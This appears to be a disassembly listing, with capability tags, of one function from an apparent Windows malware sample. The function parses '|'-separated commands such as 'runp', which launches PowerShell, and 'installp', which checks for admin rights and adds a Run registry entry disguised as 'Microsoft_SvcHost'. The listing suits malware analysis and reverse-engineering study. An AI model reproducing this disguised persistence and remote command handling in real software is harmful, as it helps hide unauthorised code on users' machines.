Function at 0x40a920
Capabilities:
Get token membership
Persist via run registry key
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41456a
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x120
mov eax, dword [0x41b040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x114], 0
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
push 0xb0
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 1
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x110], 0x415ca4
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x100], 0x415c94
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
lea eax, [ebp - 0xf8]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x114], 1
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char____]
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x110]
push 3
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x114], eax
lea eax, [ebx + 8]
push eax
lea ecx, [ebp - 0xf8]
call fcn.00407bf0
xorps xmm0, xmm0
mov dword [ebp - 0x4c], 0
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
push 0x7c
lea edx, [ebp - 0x5c]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x110]
call fcn.004096a0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
test al, al
je 0x40aab9
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x5c]
push ecx
cmp eax, dword [ebp - 0x24]
je 0x40aa8c
mov ecx, eax
call fcn.00402a50
add dword [ebp - 0x28], 0x18
jmp 0x40aa95
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040ce30
push 0x7c
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x110]
call fcn.004096a0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
test al, al
jne 0x40aa73
mov esi, dword [ebp - 0x2c]
mov eax, dword [esi + 0x2c]
lea edi, [esi + 0x18]
mov ecx, dword [edi + 0x10]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x118], eax
cmp eax, 0xf
jbe 0x40aad7
mov eax, dword [edi]
jmp 0x40aad9
mov eax, edi
push 4
mov edx, ecx
mov ecx, eax
push str.runp
call fcn.00409a40
add esp, 8
test al, al
je 0x40ab8a
mov ecx, dword [esi + 0x40]
add esi, 0x30
mov eax, SysReAllocString
sub eax, ecx
cmp eax, 0xb
jb 0x40af1d
cmp dword [esi + 0x14], 0xf
jbe 0x40ab12
mov esi, dword [esi]
push ecx
push esi
push 0xb
push str.powershell
push ecx
push dword [ebp - 0x114]
lea ecx, [ebp - 0x44]
call fcn.00403360
lea edx, [ebp - 0x44]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x130]
call fcn.0040a370
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0xf
jbe 0x40ab76
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ab6c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40aeef
push ecx
push edx
call fcn.00412260
add esp, 8
mov ecx, dword [ebp - 0x30]
cmp ecx, 0xf
jbe 0x40ae43
mov edx, dword [ebp - 0x44]
jmp 0x40ae1a
cmp dword [ebp - 0x118], 0xf
jbe 0x40ab95
mov edi, dword [edi]
mov edx, dword [ebp - 0x18]
mov ecx, edi
push 7
push str.install
call fcn.00409a40
add esp, 8
test al, al
je 0x40abf9
lea edx, [esi + 0x30]
lea ecx, [ebp - 0x130]
call fcn.0040b660
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0xf
jbe 0x40ae43
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ae39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40ae39
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
cmp dword [ebp - 0x118], 0xf
lea ecx, [esi + 0x18]
jbe 0x40ac07
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x18]
push 8
push str.installp
call fcn.00409a40
add esp, 8
test al, al
je 0x40ad2f
lea edx, [esi + 0x30]
lea ecx, [ebp - 0x44]
call fcn.0040b660
lea eax, [ebp - 0x118]
mov byte [ebp - 4], 7
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], 0
push eax
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x20], 0
mov word [ebp - 0x1c], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40ac96
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x118]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 0x18], 0
je 0x40aca6
lea ecx, [ebp - 0x44]
call fcn.0040e3f0
jmp 0x40acf7
cmp dword [ebp - 0x30], 0xf
lea eax, [ebp - 0x114]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea esi, [ebp - 0x44]
cmova esi, dword [ebp - 0x44]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40acf7
mov eax, dword [ebp - 0x34]
inc eax
push eax
push esi
push 1
push 0
push str.Microsoft_SvcHost
push dword [ebp - 0x114]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x114]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x30]
cmp ecx, 0xf
jbe 0x40ae43
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ae39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40ae39
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov edi, dword [esi + 0x2c]
lea ecx, [esi + 0x18]
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x114], eax
cmp edi, 0xf
jbe 0x40ad45
mov ecx, dword [ecx]
push 4
push str.load
mov edx, eax
call fcn.00409a40
add esp, 8
test al, al
je 0x40adae
lea edx, [esi + 0x30]
lea ecx, [ebp - 0x130]
call fcn.0040b660
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0xf
jbe 0x40add1
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ad9a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40ad9a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00412260
add esp, 8
call fcn.0040af70
jmp 0x40ae43
lea ecx, [esi + 0x18]
cmp edi, 0xf
jbe 0x40adb8
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x114]
push 6
push str.remove
call fcn.00409a40
add esp, 8
test al, al
je 0x40add8
call fcn.0040af70
jmp 0x40ae43
lea ecx, [esi + 0x18]
cmp edi, 0xf
jbe 0x40ade2
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x114]
push 3
push 0x415b7c
call fcn.00409a40
add esp, 8
test al, al
je 0x40ae43
lea edx, [esi + 0x30]
lea ecx, [ebp - 0x130]
call fcn.0040a370
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0xf
jbe 0x40ae43
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ae39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40aeef
push ecx
push edx
call fcn.00412260
add esp, 8
mov ecx, dword [ebp - 0x48]
cmp ecx, 0xf
jbe 0x40ae77
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ae6d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40aeef
push ecx
push edx
call fcn.00412260
add esp, 8
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x114], eax
lea ecx, [ebp - 0xf8]
call fcn.00407740
lea ecx, [ebp - 0xf0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0xa8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x2c]
call fcn.004070f0
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0xf
jbe 0x40aeff
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40aef5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40aef5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00412260
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041210d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004012b0
int3